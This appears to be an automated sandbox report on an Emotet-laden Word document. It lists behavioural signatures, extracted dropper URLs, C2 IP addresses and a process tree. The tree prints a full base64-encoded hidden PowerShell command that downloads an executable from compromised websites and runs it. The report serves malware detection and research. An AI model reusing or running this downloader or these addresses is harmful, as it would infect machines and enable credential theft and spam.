Analysis

  • max time kernel
    29s
  • resource
    win10v191014
  • submitted
    13-01-2020 17:59

General

  • Target

    f631bc4ffac36ef164f57e6fb8a8f2900f2302dad4d0835595e54f4848862df8

  • Sample

    200113-11fh9rg6se

  • SHA256

    f631bc4ffac36ef164f57e6fb8a8f2900f2302dad4d0835595e54f4848862df8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.entreprendre-en-alsace.com/cust_service/Hp/

exe.dropper

https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/

exe.dropper

https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/

exe.dropper

https://thecurrenthotel.com/wp-content/zel617r/

exe.dropper

https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/

Extracted

Family

emotet

C2

70.175.171.251:80

177.239.160.121:80

89.211.186.227:443

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

181.143.126.170:80

190.53.135.159:21

200.116.145.225:443

139.130.242.43:80

37.139.21.175:8080

103.86.49.11:8080

45.51.40.140:80

221.165.123.72:80

31.172.240.91:8080

78.189.180.107:80

178.153.176.124:80

182.176.132.213:8090

201.184.105.242:443

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f631bc4ffac36ef164f57e6fb8a8f2900f2302dad4d0835595e54f4848862df8.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4804
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Users\Admin\265.exe
      "C:\Users\Admin\265.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4456
      • C:\Users\Admin\265.exe
        --9d644f0f
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4588
  • C:\Windows\SysWOW64\funcprints.exe
    "C:\Windows\SysWOW64\funcprints.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    PID:3772
    • C:\Windows\SysWOW64\funcprints.exe
      --3b6a475c
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:3880

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3772-12-0x0000000000DE0000-0x0000000000DF7000-memory.dmp

    Filesize

    92KB

  • memory/3880-16-0x0000000000400000-0x0000000000466000-memory.dmp

    Filesize

    408KB

  • memory/3880-15-0x00000000007C0000-0x00000000007D7000-memory.dmp

    Filesize

    92KB

  • memory/4456-6-0x0000000002110000-0x0000000002127000-memory.dmp

    Filesize

    92KB

  • memory/4588-10-0x0000000000400000-0x0000000000466000-memory.dmp

    Filesize

    408KB

  • memory/4588-9-0x00000000005F0000-0x0000000000607000-memory.dmp

    Filesize

    92KB

  • memory/4804-3-0x000001FAC95F0000-0x000001FAC961F000-memory.dmp

    Filesize

    188KB